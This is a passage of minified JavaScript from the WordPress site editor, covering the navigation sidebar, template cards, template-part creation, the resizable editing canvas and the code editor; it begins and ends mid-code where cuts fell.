e;const{selectedNavigationBlockId:t,clientIdToRef:n,navigationMenus:l,isResolvingNavigationMenus:a,hasResolvedNavigationMenus:r,firstNavigationBlockId:i}=(0,c.useSelect)((e=>{const{__experimentalGetActiveBlockIdByBlockNames:t,__experimentalGetGlobalBlocksByName:n,getBlock:l}=e(ge.store),{getEntityRecords:a,hasFinishedResolution:r,isResolving:o}=e(u.store),i=["postType","wp_navigation",za[0]],s=t("core/navigation"),c=n("core/navigation"),m={};return c.forEach((e=>{var t,n;m[e]=null===(t=l(e))||void 0===t||null===(n=t.attributes)||void 0===n?void 0:n.ref})),{selectedNavigationBlockId:s,firstNavigationBlockId:null==c?void 0:c[0],clientIdToRef:m,navigationMenus:a(...i),isResolvingNavigationMenus:o("getEntityRecords",i),hasResolvedNavigationMenus:r("getEntityRecords",i)}}),[]),s=(0,J.useInstanceId)(Va,"edit-site-navigation-inspector-menu"),m=n[i],d=null==l||null===(e=l[0])||void 0===e?void 0:e.id,p=m||d,[g,f]=(0,o.useState)(m);(0,o.useEffect)((()=>{t&&f(n[t])}),[t]);let E=[];l&&(E=l.map((e=>{let{id:t,title:n}=e;return{value:t,label:n.rendered}})));const[v,y,b]=(0,u.useEntityBlockEditor)("postType","wp_navigation",{id:g||p}),{isLoadingInnerBlocks:w,hasLoadedInnerBlocks:x}=(0,c.useSelect)((e=>{const{isResolving:t,hasFinishedResolution:n}=e(u.store);return{isLoadingInnerBlocks:t("getEntityRecord",["postType","wp_navigation",g||p]),hasLoadedInnerBlocks:n("getEntityRecord",["postType","wp_navigation",g||p])}}),[g,p]),S=!(r&&x),k=(null==l?void 0:l.length)>1,C=!(null==l||!l.length),T=C?v:[],N=!(null==T||!T.length);return(0,o.useEffect)((()=>{a&&(0,qe.speak)("Loading Navigation sidebar menus."),r&&(0,qe.speak)("Navigation sidebar menus have loaded.")}),[a,r]),(0,o.useEffect)((()=>{w&&(0,qe.speak)("Loading Navigation sidebar selected menu items."),x&&(0,qe.speak)("Navigation sidebar selected menu items have loaded.")}),[w,x]),(0,o.createElement)("div",{className:"edit-site-navigation-inspector"},r&&!C&&(0,o.createElement)("p",{className:"edit-site-navigation-inspector__empty-msg"},(0,h.__)("There are no Navigation Menus.")),!r&&(0,o.createElement)("div",{className:"edit-site-navigation-inspector__placeholder"}),r&&k&&(0,o.createElement)(_.SelectControl,{"aria-controls":x?s:void 0,value:g||p,options:E,onChange:e=>f(Number(e))}),S&&(0,o.createElement)(o.Fragment,null,(0,o.createElement)("div",{className:"edit-site-navigation-inspector__placeholder is-child"}),(0,o.createElement)("div",{className:"edit-site-navigation-inspector__placeholder is-child"}),(0,o.createElement)("div",{className:"edit-site-navigation-inspector__placeholder is-child"})),N&&!S&&(0,o.createElement)(ge.BlockEditorProvider,{value:T,onChange:b,onInput:y},(0,o.createElement)(Va,{id:s,innerBlocks:T})),!N&&!S&&(0,o.createElement)("p",{className:"edit-site-navigation-inspector__empty-msg"},(0,h.__)("Navigation Menu is empty.")))}function Ra(){return(0,o.createElement)(Bn,{className:"edit-site-navigation-menu-sidebar",identifier:"edit-site/navigation-menu",title:(0,h.__)("Navigation"),icon:Pa,closeLabel:(0,h.__)("Close navigation menu sidebar"),panelClassName:"edit-site-navigation-menu-sidebar__panel",header:(0,o.createElement)(_.Flex,null,(0,o.createElement)(_.FlexBlock,null,(0,o.createElement)("strong",null,(0,h.__)("Navigation Menus")),(0,o.createElement)("span",{className:"edit-site-navigation-sidebar__beta"},(0,h.__)("Beta"))))},(0,o.createElement)(Aa,null))}const La="edit-site/template",Oa="edit-site/block-inspector",Fa=e=>{let{sidebarName:t}=e;const{enableComplementaryArea:n}=(0,c.useDispatch)(O),[l,a]=t===La?// translators: ARIA label for the Template sidebar tab, selected.
[(0,h.__)("Template (selected)"),"is-active"]:// translators: ARIA label for the Template Settings Sidebar tab, not selected.
[(0,h.__)("Template"),""],[r,i]=t===Oa?// translators: ARIA label for the Block Settings Sidebar tab, selected.
[(0,h.__)("Block (selected)"),"is-active"]:// translators: ARIA label for the Block Settings Sidebar tab, not selected.
[(0,h.__)("Block"),""];return(0,o.createElement)("ul",null,(0,o.createElement)("li",null,(0,o.createElement)(_.Button,{onClick:()=>n(Ve,La),className:`edit-site-sidebar__panel-tab ${a}`,"aria-label":l,"data-label":(0,h.__)("Template")},// translators: Text label for the Template Settings Sidebar tab.
(0,h.__)("Template"))),(0,o.createElement)("li",null,(0,o.createElement)(_.Button,{onClick:()=>n(Ve,Oa),className:`edit-site-sidebar__panel-tab ${i}`,"aria-label":r,"data-label":(0,h.__)("Block")},// translators: Text label for the Block Settings Sidebar tab.
(0,h.__)("Block"))))};function Da(e){let{template:t}=e;const{revertTemplate:n}=(0,c.useDispatch)(Ot);return Ye(t)?(0,o.createElement)(_.DropdownMenu,{icon:te,label:(0,h.__)("Actions"),className:"edit-site-template-card__actions",toggleProps:{isSmall:!0}},(e=>{let{onClose:l}=e;return(0,o.createElement)(_.MenuGroup,null,(0,o.createElement)(_.MenuItem,{info:(0,h.__)("Use the template as supplied by the theme."),onClick:()=>{n(t),l()}},(0,h.__)("Clear customizations")))})):null}function Ga(e){let{area:t,clientId:n}=e;const{selectBlock:l,toggleBlockHighlight:a}=(0,c.useDispatch)(ge.store),r=(0,c.useSelect)((e=>e(m.store).__experimentalGetDefaultTemplatePartAreas().find((e=>e.area===t))),[t]),i=()=>a(n,!0),s=()=>a(n,!1);return(0,o.createElement)(_.Button,{className:"edit-site-template-card__template-areas-item",icon:null==r?void 0:r.icon,onMouseOver:i,onMouseLeave:s,onFocus:i,onBlur:s,onClick:()=>{l(n)}},null==r?void 0:r.label)}function Ha(){const e=(0,c.useSelect)((e=>e(Ot).getCurrentTemplateTemplateParts()),[]);return e.length?(0,o.createElement)("section",{className:"edit-site-template-card__template-areas"},(0,o.createElement)(_.__experimentalHeading,{level:3,className:"edit-site-template-card__template-areas-title"},(0,h.__)("Areas")),(0,o.createElement)("ul",{className:"edit-site-template-card__template-areas-list"},e.map((e=>{let{templatePart:t,block:n}=e;return(0,o.createElement)("li",{key:t.slug},(0,o.createElement)(Ga,{area:t.area,clientId:n.clientId}))})))):null}function $a(){const{info:{title:e,description:t,icon:n},template:l}=(0,c.useSelect)((e=>{const{getEditedPostType:t,getEditedPostId:n}=e(Ot),{getEditedEntityRecord:l}=e(u.store),{__experimentalGetTemplateInfo:a}=e(m.store),r=l("postType",t(),n());return{info:r?a(r):{},template:r}}),[]);return e||t?(0,o.createElement)("div",{className:"edit-site-template-card"},(0,o.createElement)(_.Icon,{className:"edit-site-template-card__icon",icon:n}),(0,o.createElement)("div",{className:"edit-site-template-card__content"},(0,o.createElement)("div",{className:"edit-site-template-card__header"},(0,o.createElement)("h2",{className:"edit-site-template-card__title"},e),(0,o.createElement)(Da,{template:l})),(0,o.createElement)("div",{className:"edit-site-template-card__description"},t),(0,o.createElement)(Ha,null))):null}const{Slot:Ua,Fill:Wa}=(0,_.createSlotFill)("EditSiteSidebarInspector"),ja=Wa;function qa(){const{sidebar:e,isEditorSidebarOpened:t,hasBlockSelection:n,supportsGlobalStyles:l}=(0,c.useSelect)((e=>{const t=e(O).getActiveComplementaryArea(Ve),n=[Oa,La].includes(t),l=e(Ot).getSettings();return{sidebar:t,isEditorSidebarOpened:n,hasBlockSelection:!!e(ge.store).getBlockSelectionStart(),supportsGlobalStyles:!(null!=l&&l.supportsTemplatePartsMode)}}),[]),{enableComplementaryArea:a}=(0,c.useDispatch)(O);(0,o.useEffect)((()=>{t&&a(Ve,n?Oa:La)}),[n,t]);let r=e;t||(r=n?Oa:La);let i=o.Fragment;return i=Ra,(0,o.createElement)(o.Fragment,null,(0,o.createElement)(Bn,{identifier:r,title:(0,h.__)("Settings"),icon:Pn,closeLabel:(0,h.__)("Close settings sidebar"),header:(0,o.createElement)(Fa,{sidebarName:r}),headerClassName:"edit-site-sidebar__panel-tabs"},r===La&&(0,o.createElement)(_.PanelBody,null,(0,o.createElement)($a,null)),r===Oa&&(0,o.createElement)(Ua,{bubblesVirtually:!0})),l&&(0,o.createElement)(Ma,null),(0,o.createElement)(i,null))}const Ya=window.wp.htmlEntities,Xa=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{d:"M12 4L4 7.9V20h16V7.9L12 4zm6.5 14.5H14V13h-4v5.5H5.5V8.8L12 5.7l6.5 3.1v9.7z"})),Ka=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{d:"M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-17.6 1L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z"})),Za="__experimentalMainDashboardButton",{Fill:Qa,Slot:Ja}=(0,_.createSlotFill)(Za),er=Qa;er.Slot=e=>{let{children:t}=e;const n=(0,_.__experimentalUseSlotFills)(Za);return Boolean(n&&n.length)?(0,o.createElement)(Ja,{bubblesVirtually:!0}):t};const tr=er,nr="site-editor";function lr(e){let{params:t,replace:n,...l}=e;const a=Ie(t,n);return(0,o.createElement)(_.__experimentalNavigationItem,d({},a,l))}const ar=e=>{let{activeItem:t=nr}=e;const{homeTemplate:n,isNavigationOpen:l,isTemplatePartsMode:a,siteTitle:r}=(0,c.useSelect)((e=>{const{getEntityRecord:t}=e(u.store),{getSettings:n,isNavigationOpened:l}=e(Ot),a=t("root","__unstableBase",void 0)||{},{supportsTemplatePartsMode:r,__unstableHomeTemplate:o}=n();return{siteTitle:a.name,homeTemplate:o,isNavigationOpen:l(),isTemplatePartsMode:!!r}}),[]),{setIsNavigationPanelOpened:i}=(0,c.useDispatch)(Ot);return(0,o.createElement)("div",{className:g()("edit-site-navigation-panel",{"is-open":l}),onKeyDown:e=>{e.keyCode!==Ut.ESCAPE||e.defaultPrevented||(e.preventDefault(),i(!1))}},(0,o.createElement)("div",{className:"edit-site-navigation-panel__inner"},(0,o.createElement)("div",{className:"edit-site-navigation-panel__site-title-container"},(0,o.createElement)("div",{className:"edit-site-navigation-panel__site-title"},(0,Ya.decodeEntities)(r))),(0,o.createElement)("div",{className:"edit-site-navigation-panel__scroll-container"},(0,o.createElement)(_.__experimentalNavigation,{activeItem:t},(0,o.createElement)(tr.Slot,null,(0,o.createElement)(_.__experimentalNavigationBackButton,{backButtonLabel:(0,h.__)("Dashboard"),className:"edit-site-navigation-panel__back-to-dashboard",href:"index.php"})),(0,o.createElement)(_.__experimentalNavigationMenu,null,(0,o.createElement)(_.__experimentalNavigationGroup,{title:(0,h.__)("Editor")},!a&&(0,o.createElement)(o.Fragment,null,(0,o.createElement)(lr,{icon:Xa,title:(0,h.__)("Site"),item:nr,params:{postId:null==n?void 0:n.postId,postType:null==n?void 0:n.postType}}),(0,o.createElement)(lr,{icon:Fn,title:(0,h.__)("Templates"),item:"wp_template",params:{postId:void 0,postType:"wp_template"}})),(0,o.createElement)(lr,{icon:Ka,title:(0,h.__)("Template Parts"),item:"wp_template_part",params:{postId:void 0,postType:"wp_template_part"}})))))))},rr=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"-2 -2 24 24"},(0,o.createElement)(f.Path,{d:"M20 10c0-5.51-4.49-10-10-10C4.48 0 0 4.49 0 10c0 5.52 4.48 10 10 10 5.51 0 10-4.48 10-10zM7.78 15.37L4.37 6.22c.55-.02 1.17-.08 1.17-.08.5-.06.44-1.13-.06-1.11 0 0-1.45.11-2.37.11-.18 0-.37 0-.58-.01C4.12 2.69 6.87 1.11 10 1.11c2.33 0 4.45.87 6.05 2.34-.68-.11-1.65.39-1.65 1.58 0 .74.45 1.36.9 2.1.35.61.55 1.36.55 2.46 0 1.49-1.4 5-1.4 5l-3.03-8.37c.54-.02.82-.17.82-.17.5-.05.44-1.25-.06-1.22 0 0-1.44.12-2.38.12-.87 0-2.33-.12-2.33-.12-.5-.03-.56 1.2-.06 1.22l.92.08 1.26 3.41zM17.41 10c.24-.64.74-1.87.43-4.25.7 1.29 1.05 2.71 1.05 4.25 0 3.29-1.73 6.24-4.4 7.78.97-2.59 1.94-5.2 2.92-7.78zM6.1 18.09C3.12 16.65 1.11 13.53 1.11 10c0-1.3.23-2.48.72-3.59C3.25 10.3 4.67 14.2 6.1 18.09zm4.03-6.63l2.58 6.98c-.86.29-1.76.45-2.71.45-.79 0-1.57-.11-2.29-.33.81-2.38 1.62-4.74 2.42-7.1z"})),or=function(e){let{icon:t}=e;const{isNavigationOpen:n,isRequestingSiteIcon:l,siteIconUrl:a}=(0,c.useSelect)((e=>{const{getEntityRecord:t,isResolving:n}=e(u.store),l=t("root","__unstableBase",void 0)||{};return{isNavigationOpen:e(Ot).isNavigationOpened(),isRequestingSiteIcon:n("core","getEntityRecord",["root","__unstableBase",void 0]),siteIconUrl:l.site_icon_url}}),[]),{setIsNavigationPanelOpened:r}=(0,c.useDispatch)(Ot),i=(0,J.useReducedMotion)(),s=(0,o.useRef)();(0,o.useEffect)((()=>{n||s.current.focus()}),[n]);let m=(0,o.createElement)(_.Icon,{size:"36px",icon:rr});a?m=(0,o.createElement)(_.__unstableMotion.img,{variants:!i&&{expand:{scale:1.25,transition:{type:"tween",duration:"0.3"}}},alt:(0,h.__)("Site Icon"),className:"edit-site-navigation-toggle__site-icon",src:a}):l?m=null:t&&(m=(0,o.createElement)(_.Icon,{size:"36px",icon:t}));const d=g()({"edit-site-navigation-toggle__button":!0,"has-icon":a});return(0,o.createElement)(_.__unstableMotion.div,{className:"edit-site-navigation-toggle"+(n?" is-open":""),whileHover:"expand"},(0,o.createElement)(_.Button,{className:d,label:(0,h.__)("Toggle navigation"),ref:s,"aria-pressed":n,onClick:()=>r(!n),showTooltip:!0},m))},{Fill:ir,Slot:sr}=(0,_.createSlotFill)("EditSiteNavigationPanelPreview"),{Fill:cr,Slot:ur}=(0,_.createSlotFill)("EditSiteNavigationSidebar");function mr(e){let{isDefaultOpen:t=!1,activeTemplateType:n}=e;const l=(0,J.useViewportMatch)("medium"),{setIsNavigationPanelOpened:a}=(0,c.useDispatch)(Ot);return(0,o.useEffect)((function(){a(t&&l)}),[t,l,a]),(0,o.createElement)(cr,null,(0,o.createElement)(or,null),(0,o.createElement)(ar,{activeItem:n}),(0,o.createElement)(sr,null))}mr.Slot=ur;const dr=mr,pr=window.wp.reusableBlocks;function gr(e){let{clientId:t}=e;const{getBlocks:n}=(0,c.useSelect)(ge.store),{replaceBlocks:l}=(0,c.useDispatch)(ge.store);return(0,c.useSelect)((e=>e(ge.store).canRemoveBlock(t)),[t])?(0,o.createElement)(ge.BlockSettingsMenuControls,null,(e=>{let{onClose:a}=e;return(0,o.createElement)(_.MenuItem,{onClick:()=>{l(t,n(t)),a()}},(0,h.__)("Detach blocks from template part"))})):null}function _r(e){let{closeModal:t,onCreate:n}=e;const[l,a]=(0,o.useState)(""),[r,i]=(0,o.useState)(ze),[s,u]=(0,o.useState)(!1),d=(0,J.useInstanceId)(_r),p=(0,c.useSelect)((e=>e(m.store).__experimentalGetDefaultTemplatePartAreas()),[]);return(0,o.createElement)(_.Modal,{title:(0,h.__)("Create a template part"),closeLabel:(0,h.__)("Close"),onRequestClose:t,overlayClassName:"edit-site-create-template-part-modal"},(0,o.createElement)("form",{onSubmit:async e=>{e.preventDefault(),l&&(u(!0),await n({title:l,area:r}))}},(0,o.createElement)(_.TextControl,{label:(0,h.__)("Name"),value:l,onChange:a,required:!0}),(0,o.createElement)(_.BaseControl,{label:(0,h.__)("Area"),id:`edit-site-create-template-part-modal__area-selection-${d}`,className:"edit-site-create-template-part-modal__area-base-control"},(0,o.createElement)(_.__experimentalRadioGroup,{label:(0,h.__)("Area"),className:"edit-site-create-template-part-modal__area-radio-group",id:`edit-site-create-template-part-modal__area-selection-${d}`,onChange:i,checked:r},p.map((e=>{let{icon:t,label:n,area:l,description:a}=e;return(0,o.createElement)(_.__experimentalRadio,{key:n,value:l,className:"edit-site-create-template-part-modal__area-radio"},(0,o.createElement)(_.Flex,{align:"start",justify:"start"},(0,o.createElement)(_.FlexItem,null,(0,o.createElement)(_.Icon,{icon:t})),(0,o.createElement)(_.FlexBlock,{className:"edit-site-create-template-part-modal__option-label"},n,(0,o.createElement)("div",null,a)),(0,o.createElement)(_.FlexItem,{className:"edit-site-create-template-part-modal__checkbox"},r===l&&(0,o.createElement)(_.Icon,{icon:E}))))})))),(0,o.createElement)(_.Flex,{className:"edit-site-create-template-part-modal__modal-actions",justify:"flex-end"},(0,o.createElement)(_.FlexItem,null,(0,o.createElement)(_.Button,{variant:"secondary",onClick:()=>{t()}},(0,h.__)("Cancel"))),(0,o.createElement)(_.FlexItem,null,(0,o.createElement)(_.Button,{variant:"primary",type:"submit",disabled:!l,isBusy:s},(0,h.__)("Create"))))))}function hr(e){let{clientIds:t,blocks:n}=e;const[l,a]=(0,o.useState)(!1),{replaceBlocks:r}=(0,c.useDispatch)(ge.store),{saveEntityRecord:s}=(0,c.useDispatch)(u.store),{createSuccessNotice:m}=(0,c.useDispatch)(je.store),{canCreate:d}=(0,c.useSelect)((e=>{const{supportsTemplatePartsMode:t}=e(Ot).getSettings();return{canCreate:!t}}),[]);return d?(0,o.createElement)(o.Fragment,null,(0,o.createElement)(ge.BlockSettingsMenuControls,null,(()=>(0,o.createElement)(_.MenuItem,{icon:Ka,onClick:()=>{a(!0)}},(0,h.__)("Create Template part")))),l&&(0,o.createElement)(_r,{closeModal:()=>{a(!1)},onCreate:async e=>{let{title:l,area:a}=e;const o=(0,pt.kebabCase)(l).replace(/[^\w-]+/g,"")||"wp-custom-part",c=await s("postType","wp_template_part",{slug:o,title:l,content:(0,i.serialize)(n),area:a});r(t,(0,i.createBlock)("core/template-part",{slug:c.slug,theme:c.theme})),m((0,h.__)("Template part created."),{type:"snackbar"})}})):null}function fr(){var e;const{clientIds:t,blocks:n}=(0,c.useSelect)((e=>{const{getSelectedBlockClientIds:t,getBlocksByClientId:n}=e(ge.store),l=t();return{clientIds:l,blocks:n(l)}}),[]);return 1===n.length&&"core/template-part"===(null===(e=n[0])||void 0===e?void 0:e.name)?(0,o.createElement)(gr,{clientId:t[0]}):(0,o.createElement)(hr,{clientIds:t,blocks:n})}const Er=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{d:"M20.1 5.1L16.9 2 6.2 12.7l-1.3 4.4 4.5-1.3L20.1 5.1zM4 20.8h8v-1.5H4v1.5z"}));function vr(e){let{type:t,id:n,activePage:l,onActivePageChange:a}=e;const r=(0,c.useSelect)((e=>t&&n&&"URL"!==t&&e(u.store).getEntityRecord("postType",t,n)),[t,n]),i=(0,o.useMemo)((()=>{if(null==r||!r.link)return null;const e=(0,me.getPathAndQueryString)(r.link);return e===(null==l?void 0:l.path)?null:()=>a({type:t,slug:r.slug,path:e,context:{postType:r.type,postId:r.id}})}),[r,null==l?void 0:l.path,a]);return i&&(0,o.createElement)(_.Button,{icon:Er,label:(0,h.__)("Edit Page Template"),onClick:i})}function yr(e){let{onClick:t=(()=>{})}=e;const{shortcut:n,isBlockInspectorOpen:l}=(0,c.useSelect)((e=>({shortcut:e(Ft.store).getShortcutRepresentation("core/edit-site/toggle-block-settings-sidebar"),isBlockInspectorOpen:e(O).getActiveComplementaryArea(Ot.name)===Oa})),[]),{enableComplementaryArea:a,disableComplementaryArea:r}=(0,c.useDispatch)(O),i=l?(0,h.__)("Hide more settings"):(0,h.__)("Show more settings");return(0,o.createElement)(_.MenuItem,{onClick:()=>{l?(r(Ve),(0,qe.speak)((0,h.__)("Block settings closed"))):(a(Ve,Oa),(0,qe.speak)((0,h.__)("Additional settings are now available in the Editor block settings sidebar"))),t()},shortcut:n},i)}const br=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{d:"M20 10.8H6.7l4.1-4.5-1.1-1.1-5.8 6.3 5.8 5.8 1.1-1.1-4-3.9H20z"})),wr=function(){var e;const t=ke(),n=Ce(),l="wp_template_part"===t.params.postType,a=null===(e=t.state)||void 0===e?void 0:e.fromTemplateId;return l&&a?(0,o.createElement)(_.Button,{className:"edit-site-visual-editor__back-button",icon:br,onClick:()=>{n.back()}},(0,h.__)("Back")):null};function xr(e){let{direction:t,resizeWidthBy:n}=e;return(0,o.createElement)(o.Fragment,null,(0,o.createElement)("button",{className:`resizable-editor__drag-handle is-${t}`,"aria-label":(0,h.__)("Drag to resize"),"aria-describedby":`resizable-editor__resize-help-${t}`,onKeyDown:function(e){const{keyCode:l}=e;"left"===t&&l===Ut.LEFT||"right"===t&&l===Ut.RIGHT?n(20):("left"===t&&l===Ut.RIGHT||"right"===t&&l===Ut.LEFT)&&n(-20)}}),(0,o.createElement)(_.VisuallyHidden,{id:`resizable-editor__resize-help-${t}`},(0,h.__)("Use left and right arrow keys to resize the canvas.")))}const Sr={position:void 0,userSelect:void 0,cursor:void 0,width:void 0,height:void 0,top:void 0,right:void 0,bottom:void 0,left:void 0},kr=function(e){let{enableResizing:t,settings:n,children:l,...a}=e;const{deviceType:r,isZoomOutMode:i}=(0,c.useSelect)((e=>({deviceType:e(Ot).__experimentalGetPreviewDeviceType(),isZoomOutMode:"zoom-out"===e(ge.store).__unstableGetEditorMode()})),[]),s=(0,ge.__experimentalUseResizeCanvas)(r),[u,m]=(0,o.useState)("100%"),[p,g]=(0,o.useState)("100%"),h=(0,o.useRef)(),f=(0,ge.__unstableUseMouseMoveTypingReset)(),E=(0,J.useMergeRefs)([h,f]);(0,o.useEffect)((function(){if(!h.current||!t)return;const e=h.current;function n(){g(e.contentDocument.body.scrollHeight)}let l;function a(){var t;null===(t=l)||void 0===t||t.disconnect(),l=new e.contentWindow.ResizeObserver(n),l.observe(e.contentDocument.body),n()}return e.addEventListener("load",a),()=>{var t;null===(t=l)||void 0===t||t.disconnect(),e.removeEventListener("load",a)}}),[t,h.current]);const v=(0,o.useCallback)((e=>{h.current&&m(h.current.offsetWidth+e)}),[]);return(0,o.createElement)(_.ResizableBox,{size:{width:u,height:p},onResizeStop:(e,t,n)=>{m(n.style.width)},minWidth:300,maxWidth:"100%",maxHeight:"100%",enable:{right:t,left:t},showHandle:t,resizeRatio:2,handleComponent:{left:(0,o.createElement)(xr,{direction:"left",resizeWidthBy:v}),right:(0,o.createElement)(xr,{direction:"right",resizeWidthBy:v})},handleClasses:void 0,handleStyles:{left:Sr,right:Sr}},(0,o.createElement)(ge.__unstableIframe,d({isZoomedOut:i,style:t?{height:p}:s,head:(0,o.createElement)(o.Fragment,null,(0,o.createElement)(ge.__unstableEditorStyles,{styles:n.styles}),(0,o.createElement)("style",null,".is-root-container { display: flow-root; }"),t&&(0,o.createElement)("style",null,"html, body { height: -moz-fit-content !important; height: fit-content !important; min-height: 0 !important; }",".is-root-container { min-height: 0 !important; }")),assets:n.__unstableResolvedAssets,ref:E,name:"editor-canvas",className:"edit-site-visual-editor__editor-canvas"},a),n.svgFilters,l))},Cr={type:"default",alignments:[]};function Tr(e){var t,n;let{setIsInserterOpen:l}=e;const{storedSettings:a,templateType:r,templateId:i,page:s}=(0,c.useSelect)((e=>{const{getSettings:t,getEditedPostType:n,getEditedPostId:a,getPage:r}=e(Ot);return{storedSettings:t(l),templateType:n(),templateId:a(),page:r()}}),[l]),m=null!==(t=a.__experimentalAdditionalBlockPatterns)&&void 0!==t?t:a.__experimentalBlockPatterns,p=null!==(n=a.__experimentalAdditionalBlockPatternCategories)&&void 0!==n?n:a.__experimentalBlockPatternCategories,{restBlockPatterns:f,restBlockPatternCategories:E}=(0,c.useSelect)((e=>({restBlockPatterns:e(u.store).getBlockPatterns(),restBlockPatternCategories:e(u.store).getBlockPatternCategories()})),[]),v=(0,o.useMemo)((()=>[...m||[],...f||[]].filter(((e,t,n)=>t===n.findIndex((t=>e.name===t.name)))).filter((e=>{let{postTypes:t}=e;return!t||Array.isArray(t)&&t.includes(r)}))),[m,f,r]),y=(0,o.useMemo)((()=>[...p||[],...E||[]].filter(((e,t,n)=>t===n.findIndex((t=>e.name===t.name))))),[p,E]),b=(0,o.useMemo)((()=>{const{__experimentalAdditionalBlockPatterns:e,__experimentalAdditionalBlockPatternCategories:t,...n}=a;return{...n,__experimentalBlockPatterns:v,__experimentalBlockPatternCategories:y}}),[a,v,y]),[w,x,S]=(0,u.useEntityBlockEditor)("postType",r),{setPage:k}=(0,c.useDispatch)(Ot),{enableComplementaryArea:C}=(0,c.useDispatch)(O),T=(0,o.useCallback)((()=>{C("core/edit-site","edit-site/navigation-menu")}),[C]),N=(0,o.useRef)(),I=(0,J.useMergeRefs)([N,(0,ge.__unstableUseTypingObserver)()]),M=(0,J.useViewportMatch)("small","<"),{clearSelectedBlock:P}=(0,c.useDispatch)(ge.store),B="wp_template_part"===r,V=0!==w.length;let z=o.Fragment;return z=()=>(0,o.createElement)(_.ToolbarGroup,null,(0,o.createElement)(_.ToolbarButton,{className:"components-toolbar__control",label:(0,h.__)("Open list view"),onClick:T,icon:Gt})),(0,o.createElement)(ge.BlockEditorProvider,{settings:b,value:w,onInput:x,onChange:S,useSubRegistry:!1},(0,o.createElement)(fr,null),(0,o.createElement)(ge.__experimentalLinkControl.ViewerFill,null,(0,o.useCallback)((e=>(0,o.createElement)(vr,d({},e,{activePage:s,onActivePageChange:k}))),[s])),(0,o.createElement)(ja,null,(0,o.createElement)(ge.BlockInspector,null)),(0,o.createElement)(ge.BlockTools,{className:g()("edit-site-visual-editor",{"is-focus-mode":B}),__unstableContentRef:N,onClick:e=>{e.target===e.currentTarget&&P()}},(0,o.createElement)(ge.BlockEditorKeyboardShortcuts.Register,null),(0,o.createElement)(wr,null),(0,o.createElement)(kr,{key:i,enableResizing:B&&!M,settings:b,contentRef:I},(0,o.createElement)(ge.BlockList,{className:"edit-site-block-editor__block-list wp-site-blocks",__experimentalLayout:Cr,renderAppender:(!B||!V)&&void 0})),(0,o.createElement)(ge.__unstableBlockSettingsMenuFirstItem,null,(e=>{let{onClose:t}=e;return(0,o.createElement)(yr,{onClick:t})})),(0,o.createElement)(ge.__unstableBlockToolbarLastItem,null,(0,o.createElement)(ge.__unstableBlockNameContext.Consumer,null,(e=>"core/navigation"===e&&(0,o.createElement)(z,null))))),(0,o.createElement)(pr.ReusableBlocksMenuItems,null))}var Nr=n(773);function Ir(e){let{value:t,onChange:n,onInput:l}=e;const[a,r]=(0,o.useState)(t),[i,s]=(0,o.useState)(!1),c=(0,J.useInstanceId)(Ir),u=(0,o.useRef)();return i||a===t||r(t),(0,o.useEffect)((()=>()=>{u.current&&n(u.current)}),[]),(0,o.createElement)(o.Fragment,null,(0,o.createElement)(_.VisuallyHidden,{as:"label",htmlFor:`code-editor-text-area-${c}`},(0,h.__)("Type text or HTML")),(0,o.createElement)(Nr.Z,{autoComplete:"off",dir:"auto",value:a,onChange:e=>{const t=e.target.value;l(t),r(t),s(!0),u.current=t},onBlur:()=>{i&&(n(a),s(!1))},className:"edit-site-code-editor-text-area",id:`code-editor-text-area-${c}`,placeholder:(0,h.__)("Start writing with text or HTML")}))}function Mr(){const{templateType:e,shortcut:t}=(0,c.useSelect)((e=>{const{getEditedPostType:t}=e(Ot),{getShortcutRepresentation:n}=e(Ft.store);return{templateType:t(),shortcut:n("core/edit-site/toggle-mode")}}),[]),[n,l]=(0,u.useEntityProp)("postType",e,"content"),[a,,r]=(0,u.useEntityBlockEditor)("postType",e);let s;s=n instanceof Function?n({blocks:a}):a?(0,i.__unstableSerializeAndClean)(a):n;const{switchEditorMode:m}=(0,c.useDispatch)(Ot);return(0,o.createElement)("div",{className:"edit-site-code-editor"},(0,o.createElement)("div",{className:"edit-site-code-editor__toolbar"},(0,o.createElement)("h2",null,(0,h.__)("Editing code")),(0,o.createElement)(_.Button,{variant:"tertiary",onClick:()=>m("visual"),shortcut:t},(0,h.__)("Exit code editor"))),(0,o.createElement)("div",{className:"edit-site-code-editor__body"},(0,o.createElement)(Ir,{value:s,onChange:e=>{r((0,i.parse)(e),{selection:void 0})},onInput:l})))}function Pr(e){let{openEntitiesSavedStates:t}=e;const{__experimentalGetDirtyEntityRecords:n,isSavingEntityRecord:l}=(0,c.useSelect)(u.store),{getEditorMode:a}=(0,c.useSelect)(Ot),r=(0,c.useSelect)((e=>e(Ot).isListViewOpened()),[]),o=(0,c.useSelect)((e=>e(O).getActiveComplementaryArea(Ot.name)===Oa),[]),{redo:i,undo:s}=(0,c.useDispatch)(u.store),{setIsListViewOpened:m,switchEditorMode:d}=(0,c.useDispatch)(Ot),{enableComplementaryArea:p,disableComplementaryArea:g}=(0,c.useDispatch)(O);return(0,Ft.useShortcut)("core/edit-site/save",(e=>{e.preventDefault();const 